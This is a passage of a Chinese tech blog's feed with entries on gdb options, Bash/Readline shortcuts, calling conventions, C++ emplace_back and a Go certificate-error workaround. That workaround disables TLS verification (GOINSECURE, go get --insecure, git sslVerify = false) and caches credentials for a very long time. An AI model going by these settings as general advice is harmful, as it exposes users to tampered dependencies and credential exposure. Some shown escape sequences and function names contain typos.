    当Emacs让GDB作为一个子进程运行时,设置这个选项.它告诉GDB每当一个堆栈结构(栈帧)显示出来(包括每次程序停止)就用标准的,认同的方式
    输出文件全名和行号.这里,认同的格式看起来像两个&amp;#x27; 32&amp;#x27;字符,紧跟文件名,行号和字符位置(由冒号,换行符分隔).Emacs同GDB的接口程序使用这两个&amp;#x27; 32&amp;#x27;字
    符作为一个符号为框架来显示源代码.
-b Bps
    设置行速(波特率或bits&amp;#x2F;s).在远程调试中GDB在任何串行接口中使用的行速.
-tty=Device
    使用Device作为你程序运行的标准输入输出.

1. gdb &amp;lt;program&amp;gt;
   program也就是执行文件,一般在当前目录下.
2. gdb &amp;lt;program&amp;gt; core
   用gdb同时调试一个运行程序和core文件,core是程序非法执行后,core dump后产生的文件.
3. gdb &amp;lt;program&amp;gt; &amp;lt;PID&amp;gt;
   如果程序是一个服务程序,那么可以指定这个服务程序运行时的进程ID.gdb会自动attach上去,并调试它.program应该在PATH环境变量中搜索得到.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>shell常用知识</title>
        <published>2022-04-02T23:10:31+08:00</published>
        <updated>2022-04-02T23:10:31+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/04/shell基础/"/>
        <id>https://vercel.juzhong.asia/2022/04/shell基础/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/04/shell基础/">&lt;h1 id=&quot;shellchang-yong-zhi-shi&quot;&gt;shell常用知识&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;shellji-chu&quot;&gt;shell基础&lt;&#x2F;h1&gt;
&lt;p&gt;记录一些用到的shell知识&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chang-yong-de-clide-kuai-jie-jian&quot;&gt;常用的cli的快捷键&lt;&#x2F;h2&gt;
&lt;p&gt;ALT-? list complete
ALT-* insert complete
C-x * glob-expand-word
M-#   insert-comment (M-#)
M-g   glob-complete-word (M-g)
C-x * glob-expand-word (C-x *)
C-x g glob-list-expansions (C-x g)
M-C-y yank-nth-arg (M-C-y)
M-.   yank-last-arg (M-., M-_)
M-t   transpose-words (M-t)
M-u   upcase-word (M-u)
C-y   yank (C-y)
M-y   yank-pop (M-y)
C-@   set-mark (C-@, M-&lt;space&gt;)
C-x Backspace&lt;Rubout&gt; : backward-kill-line (C-x Rubout)
在Bash里面,快捷键可能会被写成八进制或者十六进制的形式(跟在转义符后面);
另外快捷键有个规律,Ctrl开头的快捷键一般是针对字符的,而Alt开头的快捷键一般是针对词的&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-kan-dang-qian-xuan-xiang-de-she-zhi-zhuang-tai&quot;&gt;查看当前选项的设置状态&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;set -o emacs 切到emacs模式
set -o vi 切到vi模式
set -o 查看当前选项的设置状态
shopt命令是set命令的一种替代,很多方面都和set命令一样,但它增加了很多选项可有使用“-p&amp;quot;选项来查看shopt选项的设置“-u&amp;quot;开关表示一个复位的选项,“-s&amp;quot;表示选项当前被设置
shopt -p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;emacsmo-shi-kuai-jie-jian&quot;&gt;emacs模式快捷键&lt;&#x2F;h3&gt;
&lt;p&gt;CTRL-A	将光标移到行首(在命令行下)
CTRL-B	退格(非破坏性的),这个只是将光标位置往回移动一个位置
CTRL-C	中断,终结一个前台作业
CTRL-D	&quot;EOF&quot;(文件结尾:end of file)它用于表示标准输入(stdin)的结束,在控制台或xterm窗口输入文本时,CTRL-D删除在光标下的字符,从一个shell中退出(类似于exit)如果没有字符存在,CTRL-D 则会登出该会话.在一个xterm窗口中,则会产生关闭此窗口的效果
CTRL-E	将光标移动到行尾(在命令行下)
CTRL-F	将光标向前移动一个字符(在命令行下)
CTRL-G	BEL在一些老式打印机终端上,这会引发一个响铃,在xterm终端上可能是哔的一声
CTRL-H	擦除(Rubout)(破坏性的退格),在光标往回移动的时候,同时擦除光标前的一个字符
CTRL-I	水平制表符
CTRL-J	新行(换行[line feed]并到行首)在脚本中,也可能表示为八进制形式(\012)或十六进制形式(\x0a)
CTRL-K	垂直制表符(Vertical tab),在控制台或xterm窗口输入文本时,CTRL-K会删除从光标所在处到行尾的所有字符在脚本中,也可能表示为八进制形式(\013)或十六进制形式(\x0b),在脚本中,CTRL-K可能会有不一样的行为,后面的例子给出其不一样的行为&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yi-ge-ctrl-kchui-zhi-zhi-biao-fu-de-li-zi&quot;&gt;一个CTRL-K垂直制表符的例子&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;var=$&amp;#x27;&amp;#x2F;x0aBottom Line&amp;#x2F;x0bTop line&amp;#x2F;x0a&amp;#x27;
echo &amp;quot;$var&amp;quot;
#使用col来过滤控制字符
echo &amp;quot;$var&amp;quot; | col
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CTRL-L	跳纸,换页(Formfeed),清空终端屏幕,在终端上,这个命令的作用和clear命令一样,但当这个命令发送到打印机时,Ctrl-L会直接跳到纸张(Paper sheet)的末尾
CTRL-M	回车(Carriage return)
CTRL-N	擦除从history缓冲区召回的一行文本(在命令行下),如果当前输入是历史记录中选择的时候,这个是从这个历史记录开始,每按一次,是更接近的一条命令
CTRL-O	产生一个新行(在命令行下)
CTRL-P	从history缓冲区召回上一次的命令(在命令行下)此快捷键召回的顺序是由近及远的召回,即按一次,召回的是前一次的命令,再按一次,是召回上一次之前的命令,这和CTRL-N都是以当前的输入为起点,但是两个命令操作刚好相反,CTRL-N是从起点开始由远及近(如果起点是历史命令的话)
CTRL-Q	Resume(XON),恢复&#x2F;解冻,这个命令是恢复终端的stdin用的,可参见CTRL-S
CTRL-R	回溯搜索(Backwards search)history缓冲区内的文本(在命令行下)注意:按下之后,提示符会变成(reverse-i-search)&quot;:输入的搜索内容出现在单引号内,同时冒号后面出现最近最匹配的历史命令
CTRL-S	Suspend(XOFF),挂起这个是冻结终端的stdin要恢复可以按CTRL-Q
CTRL-T	交换光标位置与光标的前一个位置的字符内容(在命令行下)比如:echo $var;,假设光标在a上,那么,按下C-T之后,v和a将会交换位置:echo$avr;
CTRL-U	擦除从光标位置开始到行首的所有字符内容在某些设置下,CTRL-U会不以光标位置为参考而删除整行的输入
CTRL-V	在输入文本的时候,按下C-V之后,可以插入控制字符比如:echo -e &#x27;&#x2F;x0a&#x27;;和echo &lt;CTRL-V&gt;&lt;CTRL-J&gt;;这两种效果一样这点功能在文本编辑器内非常有效
CTRL-W	当在控制台或一个xterm窗口敲入文本时, CTRL-W 会删除从在光标处往后(回)的第一个空白符之间的内容在某些设置里, CTRL-W 删除光标往后(回)到第一个非文字和数字之间的字符
CTRL-X	在某些文字处理程序中,这个控制字符将会剪切高亮的文本并且将它复制到剪贴板中
CTRL-Y	将之前已经清除的文本粘贴回来(主要针对CTRL-U或CTRL-W)
CTRL-Z	暂停一个前台的作业；在某些文本处理程序中也作为替换操作；在MSDOS文件系统中作为EOF(End-of-file)字符
CTRL-&#x2F;	退出和CTRL-C差不多,也可能dump一个&quot;core&quot;文件到你的工作目录下(这个文件可能对你没用)
CTRL-&#x2F;	撤消操作,Undo
CTRL-_	撤消操作
CTRL-xx	在行首和光标两个位置间进行切换,此处是两个&quot;x&quot;字符
ALT-B	光标往回跳一个词,词以非字母为界(跳动到当前光标所在词的开头)
ALT-F	光标往前跳一个词(移动到光标所在词的末尾)
ALT-D	删除光标所在位置到光标所在词的结尾位置的所有内容(如果光标是在词开头,则删除整个词)
ALT-BASKSPACE	删除光标所在位置到词开头的所有内容
ALT-C	将光标所在位置的字母转为大写(如果光标在一个词的起始位置或之前,则词首字母大写)
ALT-U	将光标所在位置到词尾的所有字母转为大写
ALT-L	将光标位置到词尾的所有字母转为小写
ALT-R	取消所有变更,并将当前行恢复到在历史记录中的原始状态(前提是当前命令是从历史记录中来的,如果是手动输入,则会清空行)
ALT-T	当光标两侧都存在词的时候,交换光标两侧词的位置如:abc &lt;ALT-T&gt;bcd -&amp;gt; bcd abc
ALT-.	使用前一次命令的最后一个词(命令本身也是一个词,参见后一篇的Bang命令中的词指示符概念)
ALT-_	同ALT-.
ALT-数值	这个数值可以是正或者是负,这个键单独没有作用,必须后面再接其他内容,如果后面是字符,则表示重复次数如:[ALT-10,k]则光标位置会插入10个k字符(负值在这种情况下无效)；如果后面接的是命令,则数字会影响后面命令的执行结果,如:[ALT--10,CTRL-D]则向CTRL-D默认方向相反(负数)的方向执行10次操作
ALT-&amp;lt;	移动到历史记录中的第一行命令
ALT-&amp;gt;	移动到历史的最后一行,即当前正在输入的行(没有输入的情况下为空)
ALT-P	从当前行开始向前搜索,有必要则向&quot;上&quot;移动,移动时,使用非增量搜索查找用户提供的字符串
ALT-N	从当前行开始向后搜索,如果有必要向&quot;下&quot;移动,移动时,使用非增量搜索查找用户提供的字符串
ALT-CTRL-Y	在标志点上插入前一个命令的第一个参数(一般是前一行的第二个词)如果有参数n,则插入前一个命令的第n个词(前一行的词编号从0开始,见历史扩展)负的参数将插入冲前一个命令的结尾开始的第n个词参数n通过M-No.的方式传递,如:[ALT-0,ALT-CTRL-Y]插入前一个命令的第0个词(命令本身)
ALT-Y	轮询到删除环,并复制新的顶端文本只能在yank[CTRL-Y]或者yank-pop[M-Y]之后使用这个命令
ALT-?	列出能够补全标志点前的条目
ALT-*	把能够补全[ALT-?]命令能生成的所有文本条目插入到标志点前
ALT-&#x2F;	试图对标志点前的文本进行文件名补全[CTRL-X,&#x2F;]把标志点前的文本当成文件名并列出可以补全的条目
ALT-~	把标志点前的文本当成用户名并试图进行补全[CTRL-X,~]列出可以作为用户名补全标志点前的条目
ALT-$把标志点前的文本当成Shell变量并试图进行补全[CTRL-X,$]列出可以作为变量补全标志点前的条目
ALT-@	把标志点前的文本当成主机名并试图进行补全[CTRL-X,@]列出可以作为主机补全标志点前的条目
ALT-!	把标志点前的文本当成命令名并试图进行补全进行命令名补全时会依次使用别名、保留字、Shell函数、shell内部命令,最后是可执行文件名[CTRL-X,!]把标志点前的文本当成命令名并列出可补全的条目
ALT-TAB	把标志点前的文本与历史记录中的文本进行比较以寻找匹配的并试图进行补全
ALT-{	进行文件名补全,把可以补全的条目列表放在大括号之间,让shell可以使用&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-ge-kuai-jie-jian-de-li-zi&quot;&gt;几个快捷键的例子&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;##不用快捷键
cat &amp;gt;&amp;gt;&amp;#x2F;tmp&amp;#x2F;test&amp;lt;&amp;lt;EOF
##这里是内容
EOF

##使用快捷键
cat &amp;gt;&amp;gt;&amp;#x2F;tmp&amp;#x2F;test
##这里输入内容
##输入完毕之后,直接[CTRL-D]结束
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;##有的时候我们需要创建一个文件,而后对这个文件进行操作:

touch &amp;#x2F;tmp&amp;#x2F;a-test-file-from-blog.useasp.net

##不使用快捷键,文件名要重新输入
chmod u+x &amp;#x2F;tmp&amp;#x2F;a-test-file-from-blog.useasp.net

##使用快捷键
chmod u+x &amp;lt;ALT-.&amp;gt;
## 快捷键[M-.]自动会将上面的最后一个参数附加
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;inputrc&quot;&gt;inputrc&lt;&#x2F;h2&gt;
&lt;p&gt;如果你想自己的Bash有那么一些不同,你也可以自己自定义快捷键,使用bind命令即可,Bash中的快捷键其实是Readline来提供的,因此,这里快捷键的设置其实就是配置Readline,Readline中分两种快捷键,一种是Readline内部的函数快捷键,另外一种是执行Shell命令,设置的时候稍有不同:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;##查看Readline中可以使用的函数名称
bind -l
##查看当前绑定的案件配置与其对应的功能
bind -v
##已经绑定的快捷键
bind -p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bang-ding-kuai-jie-jian&quot;&gt;绑定快捷键&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;##绑定自定义执行命令shell命令的快捷键
bind -x &amp;#x27;&amp;quot;\C-x\C-l&amp;quot;:ls -al&amp;#x27;
## 绑定后,按[C-x,C-L]就能执行ls -al

## 绑定内置函数功能
bind &amp;quot;\C-x&amp;quot;:backword-delte-char
##这个是这行Readline库中的函数backword-delte-char
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种设置只是针对当前的会话有效,一旦会话丢失,这样设置的快捷键就会丢失,为了能够让设置的快捷键永久有效,我们就需要将快捷键的配置写入文件在Linux系统中,能永久保存快捷键的地方有两个,
全局和用户的配置文件,全局的是&#x2F;etc&#x2F;inputrc,而用户的是在用户的根目录下~&#x2F;.inputrc,全局的会影响所有的用户,而用户根目录下的只会对相应的用户产生影响inputrc文件的大概样子像下面这样:&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ben-li-lai-zi-centos6-4de-mo-ren-pei-zhi-wen-jian&quot;&gt;本例来自CentOS6.4的默认配置文件&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;$if mode=emacs

# for linux console and RH&amp;#x2F;Debian xterm
&amp;quot;\e[1~&amp;quot;: beginning-of-line
&amp;quot;\e[4~&amp;quot;: end-of-line
# commented out keymappings for pgup\pgdown to reach begin\end of history
#&amp;quot;\e[5~&amp;quot;: beginning-of-history
#&amp;quot;\e[6~&amp;quot;: end-of-history
&amp;quot;\e[5~&amp;quot;: history-search-backward
&amp;quot;\e[6~&amp;quot;: history-search-forward
&amp;quot;\e[3~&amp;quot;: delete-char
&amp;quot;\e[2~&amp;quot;: quoted-insert
&amp;quot;\e[5C&amp;quot;: forward-word
&amp;quot;\e[5D&amp;quot;: backward-word
&amp;quot;\e[1;5C&amp;quot;: forward-word
&amp;quot;\e[1;5D&amp;quot;: backward-word

# for rxvt
&amp;quot;\e[8~&amp;quot;: end-of-line
&amp;quot;\eOc&amp;quot;: forward-word
&amp;quot;\eOd&amp;quot;: backward-word

# for non RH&amp;#x2F;Debian xterm, can&amp;#x27;t hurt for RH&amp;#x2F;DEbian xterm
&amp;quot;&amp;#x2F;eOH&amp;quot;: beginning-of-line
&amp;quot;&amp;#x2F;eOF&amp;quot;: end-of-line

# for freebsd console
&amp;quot;&amp;#x2F;e[H&amp;quot;: beginning-of-line
&amp;quot;&amp;#x2F;e[F&amp;quot;: end-of-line
$endif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说明:&lt;&#x2F;p&gt;
&lt;p&gt;在配置文件中,\C代表CTRL,\M代表ALT,\e代表ESC,\是反斜杠,&#x27;是单引号,&quot;是双引号；
\C-    control prefix
\M-    meta prefix
\e     an escape character
\     backslash
&quot;     literal &quot;, a double quote
\’     literal ’, a single quote
如果要查看某一个功能键的字符序列可以通过[CTRL-V]来实现,或者输入cat后回车,进入编辑中,直接按快捷键
配置文件中可能会使用八进制或者十六进制来表示字符
如果我们针对常用的操作设置成适当的快捷键,无疑将会大大的提高我们的工作效率！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;huo-qu-jiao-ben-mu-lu&quot;&gt;获取脚本目录&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;DIR=&amp;quot;$( cd &amp;quot;$( dirname &amp;quot;${BASH_SOURCE[0]}&amp;quot; )&amp;#x2F;&amp;quot; &amp;amp;&amp;amp; pwd )&amp;quot;
# DIR=$( cd &amp;quot;$( dirname ${BASH_SOURCE[0]} )&amp;#x2F;&amp;quot; &amp;amp;&amp;amp; pwd )
# DIR=`cd $( dirname ${BASH_SOURCE[0]} )&amp;#x2F; &amp;amp;&amp;amp; pwd`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;当在a.sh中source b.sh时:
a.sh中的$0和BASH_SOURCE
$0 --&amp;gt; “a.sh&quot;
${BASH_SOURCE[0]} -&amp;gt; “a.sh&quot;&lt;&#x2F;p&gt;
&lt;p&gt;b.sh中的$0和BASH_SOURCE
$0 --&amp;gt; “a.sh&quot;
${BASH_SOURCE[0]} -&amp;gt; “b.sh&quot;
${BASH_SOURCE[1]} -&amp;gt; “a.sh&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>有栈vs无栈协程</title>
        <published>2022-03-28T22:43:54+08:00</published>
        <updated>2022-03-28T22:43:54+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/有栈vs无栈协程/"/>
        <id>https://vercel.juzhong.asia/2022/03/有栈vs无栈协程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/有栈vs无栈协程/">&lt;h1 id=&quot;you-zhan-vswu-zhan-xie-cheng&quot;&gt;有栈vs无栈协程&lt;&#x2F;h1&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>flatbuffers</title>
        <published>2022-03-21T01:00:46+08:00</published>
        <updated>2022-03-21T01:00:46+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/flatbuffers/"/>
        <id>https://vercel.juzhong.asia/2022/03/flatbuffers/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/flatbuffers/">&lt;h1 id=&quot;flatbuffers&quot;&gt;flatbuffers&lt;&#x2F;h1&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>stdcall和cdecl</title>
        <published>2022-03-20T22:28:22+08:00</published>
        <updated>2022-03-20T22:28:22+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/stdcall和cdecl/"/>
        <id>https://vercel.juzhong.asia/2022/03/stdcall和cdecl/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/stdcall和cdecl/">&lt;h1 id=&quot;stdcallhe-cdecl&quot;&gt;stdcall和cdecl&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;gai-nian&quot;&gt;概念&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;stdcall调用
stdcall是Pascal程序的缺省调用方式，参数采用从右到左的压栈方式,由调用者完成压栈操作，被调函数自身在返回前清空堆栈。
WIN32 Api都采用_stdcall调用方式，这样的宏定义说明了问题：   WINAPI _stdcall&lt;&#x2F;p&gt;
&lt;p&gt;按C编译方式，stdcall调用约定在输出函数名前面加下划线，后面加“@”符号和参数的字节数，形如_functionname@number.
所以int func( int a, double b ) 描述为: _func@12.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;cdecl调用
cdecl是C&#x2F;C++的缺省调用方式，参数采用从右到左的压栈方式，由调用者完成压栈操作 ，传送参数的内存栈由调用者维护。
cedcl约定的函数只能被C&#x2F;C++调用，每一个调用它的函数都包含清空堆栈的代码，所以产生的可执行文件大小会比调用stdcall函数的大。
按C编译方式，cdecl调用约定仅在输出函数名前面加下划线，形如_functionname。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;qu-bie&quot;&gt;区别&lt;&#x2F;h1&gt;
&lt;p&gt;几乎我们写的每一个WINDOWS API函数都是stdcall类型的，首先，需要了解两者之间的区别：
WINDOWS的函数调用时需要用到栈（STACK，一种先入后出的存储结构）。
当函数调用完成后，栈需要清除，这里就是问题的关键，如何清除？如果我们的函数使用了cdecl，那么栈的清除工作是由调用者，用COM的术语来讲就是客户来完成的。
这样带来了一个棘手的问题，不同的编译器产生栈的方式不尽相同，那么调用者能否正常的完成清除工作呢？答案是不能。
如果使用stdcall，上面的问题就解决了，函数自己解决清除工作。所以，在跨（开发） 平台的调用中，我们都使用stdcall（虽然有时是以WINAPI的样子出现）。
那么为什么还需要cdecl呢？当我们遇到这样的函数如fprintf()它的参数是可变的，不定长的，被调用者事先无法知道参数的长度，事后的清除工作也无法正常的进行，
因此，这种情况我们只能使用 cdecl。到这里我们有一个结论，如果你的程序中没有涉及可变参数，最好使用stdcall关键字。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bian-yi-shi-han-shu-ming-xiu-shi-yue-ding-gui-ze&quot;&gt;编译时函数名修饰约定规则&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-shou-xian-jie-shao-yi-xia-han-shu-xiu-shi-ming-chuo-zhe-c-han-shu-zai-nei-bu-bian-yi-he-lian-jie-tong-guo-xiu-shi-ming-shi-bie-xiu-shi-ming-shi-bian-yi-qi-zai-bian-yi-han-shu-ding-yi-huo-zhe-yuan-xing-shi-sheng-cheng-de-zi-fu-chuan-you-xie-qing-kuang-xia-shi-yong-han-shu-de-xiu-shi-ming-shi-bi-yao-de&quot;&gt;1. 首先介绍一下函数修饰名，C或者C++函数在内部（编译和链接）通过修饰名识别。修饰名是编译器在编译函数定义或者原型时生成的字符串。有些情况下使用函数的修饰名是必要的，&lt;&#x2F;h2&gt;
&lt;p&gt;如在模块定义文件里头指定输出C++重载函数、构造函数、析构函数，又如在汇编代码里调用C或C++函数等。
修饰名由函数名、类名、调用约定、返回类型、参数等共同决定。名字修饰约定随调用约定和编译种类(C或C++)的不同而变化。
函数名修饰约定随编译种类和调用约定的不同而不同。下面详细说明在C++编译器中修饰名的约定方法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-c-bian-yi-shi-han-shu-ming-xiu-shi-yue-ding-gui-ze&quot;&gt;2. C++编译时函数名修饰约定规则&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stdcalldiao-yong-yue-ding&quot;&gt;stdcall调用约定：&lt;&#x2F;h3&gt;
&lt;p&gt;1)、以&quot;?&quot;标识函数名的开始，后跟函数名；
2)、函数名后面以&quot;@@YG&quot;标识参数表的开始，后跟参数表；
3)、参数表以代号表示：
X--void ，
D--char，
E--unsigned char，
F--short，
H--int，
I--unsigned int，
J--long，
K--unsigned long，
M--float，
N--double，
_N--bool，
PA--表示指针，后面的代号表明指针类型，如果相同类型的指针连续出现，以&quot;0&quot;代替，一个&quot;0&quot;代表一次重复；
4)、参数表的第一项为该函数的返回值类型，其后依次为参数的数据类型,指针标识在其所指数据类型前；
5)、参数表后以&quot;@Z&quot;标识整个名字的结束，如果该函数无参数，则以&quot;Z&quot;标识结束。
　　其格式为&lt;code&gt;?functionname@@YG*@Z&quot;或&quot;?functionname@@YG*XZ&lt;&#x2F;code&gt;，例如 　　int Test1(char *var1,unsigned long)-----“?Test1@@YGHPADK@Z” 　　void Test2() -----“?Test2@@YGXXZ”&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cdecldiao-yong-yue-ding&quot;&gt;cdecl调用约定：&lt;&#x2F;h3&gt;
&lt;p&gt;规则同上面的stdcall调用约定，只是参数表的开始标识由上面的&quot;@@YG&quot;变为&quot;@@YA&quot;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zai-c-bian-yi-shi-yin-ru-cku-li-mian-de-han-shu-de-chu-li&quot;&gt;在C++编译时，引入c库里面的函数的处理&lt;&#x2F;h1&gt;
&lt;p&gt;如果Add(int a, int b)是在c语言编译器编译，而在c++文件使用，由上知，
因为c编译器和c++编译器对函数名的解释不一样（c++编译器解释函数名的时候要考虑函数参数，这样是了方便函数重载，而在c语言中不存在函数重载的问题），会出现链接错误。
哪么该如何处理呢？这是关键字extern就派上用场了。而在c++文件使用c编译器编译过的函数，
则需要在c++文件中声明：extern &quot;C&quot; Add(int a, int b)，使用extern &quot;C&quot;，实质就是告诉c++编译器，该函数是c库里面的函数。请保持我的名称，不要给我生成用于链接的函数修饰名。
另外顺便说一下extern的另一个用途，extern可以置于变量或者函数前，以标示变量或者函数的定义在别的文件中，提示编译器遇到此变量和函数时在其他模块中寻找其定义。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>go certificate signed报错</title>
        <published>2022-03-14T21:18:16+08:00</published>
        <updated>2022-03-14T21:18:16+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/go-certificate-signed报错/"/>
        <id>https://vercel.juzhong.asia/2022/03/go-certificate-signed报错/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/go-certificate-signed报错/">&lt;h1 id=&quot;go-certificate-signedbao-cuo&quot;&gt;go certificate signed报错&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;cazheng-shu&quot;&gt;CA证书&lt;&#x2F;h1&gt;
&lt;p&gt;数字证书主要用来做签名认证，保证了信息和数据的完整性和安全性
但是在开发过程中经常发生内网环境的证书过期，导致依赖文件无法访问，编译报错
这里记录一下直接用http不加密的方式下载依赖文件&lt;&#x2F;p&gt;
&lt;h1 id=&quot;go&quot;&gt;go&lt;&#x2F;h1&gt;
&lt;p&gt;主要有几个环境变量, 这样访问这些网址时就会用http方式访问&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;export GOINSECURE=git.addr.com
export GOPRIVATE=git.addr.com
# export GOPROXY=https:&amp;#x2F;&amp;#x2F;goproxy.cn,direct
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;单个命令的http获取依赖库&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;go get --insecure golang.org&amp;#x2F;x&amp;#x2F;crypto&amp;#x2F;ripemd160
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;git&quot;&gt;git&lt;&#x2F;h1&gt;
&lt;p&gt;配置~&#x2F;.gitconfig, 用于配置&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[http]
        sslVerify = false
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外像bazel这种，依赖库很多是用git仓库的形式给出,如果git仓库需要user:password,同样可以修改配置(因为编译时不能弹出prompt数据用户名和密码)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[credential]
        helper = cache --timeout=36000000
        # helper = store
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>哪些场景应该用emplace_back</title>
        <published>2022-03-14T20:32:55+08:00</published>
        <updated>2022-03-14T20:32:55+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/哪些场景应该用emplace-back/"/>
        <id>https://vercel.juzhong.asia/2022/03/哪些场景应该用emplace-back/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/哪些场景应该用emplace-back/">&lt;h1 id=&quot;na-xie-chang-jing-ying-gai-yong-emplace-back&quot;&gt;哪些场景应该用emplace_back&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;emplacede-cha-ru-yuan-li&quot;&gt;emplace的插入原理&lt;&#x2F;h1&gt;
&lt;p&gt;当调用push或insert成员函数时，我们将元素类型的对象传递给它们，这些对象被拷贝到容器中。而当我们调用一个emplace成员函数时，则是将参数传递给元素类型的构造函数。emplace成员使用这些参数在容器管理的内存空间中直接构造元素。&lt;br&gt;
emplace函数的参数根据元素类型而变化，参数必须与元素类型的构造函数相匹配。emplace函数在容器中直接构造元素。传递给emplace函数的参数必须与元素类型的构造函数相匹配。&lt;br&gt;
emplace相关函数可以减少内存拷贝和移动。当插入rvalue，它节约了一次move构造，当插入lvalue，它节约了一次copy构造。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;lt;map&amp;gt;
#include&amp;lt;vector&amp;gt; 
using namespace std;
struct Test {
    int a;
    string b;
    Test(int _a, string _b):a(_a), b(_b){
        cout &amp;lt;&amp;lt; &amp;quot;construct&amp;quot; &amp;lt;&amp;lt; endl;
    }
    Test(const Test&amp;amp;&amp;amp; test):a(test.a), b(move(test.b)) {
        cout &amp;lt;&amp;lt; &amp;quot;move&amp;quot; &amp;lt;&amp;lt; endl;
    }
};

int main() {
    map&amp;lt;int, Test&amp;gt; m;
    int a = 0;
    string b = &amp;quot;test&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;--insert--&amp;quot; &amp;lt;&amp;lt; endl;
    m.insert(make_pair(4, Test(a, b)));
    cout &amp;lt;&amp;lt; &amp;quot;--emplace--&amp;quot; &amp;lt;&amp;lt; endl;
    m.emplace(4, Test(a, b)); &amp;#x2F;&amp;#x2F;通过构造函数参数直接构造对象 
    
    vector&amp;lt;Test&amp;gt; v;
    cout &amp;lt;&amp;lt; &amp;quot;--push_back--&amp;quot; &amp;lt;&amp;lt; endl;
    v.push_back(Test(a,b));
    cout &amp;lt;&amp;lt; &amp;quot;--emplace_back--&amp;quot; &amp;lt;&amp;lt; endl;
    v.emplace_back(a, b);
    
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;emplace.hpp&amp;quot;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;map&amp;gt;
#include &amp;lt;tuple&amp;gt;
#include &amp;lt;utility&amp;gt;
 
namespace emplace_ {
 
&amp;#x2F;
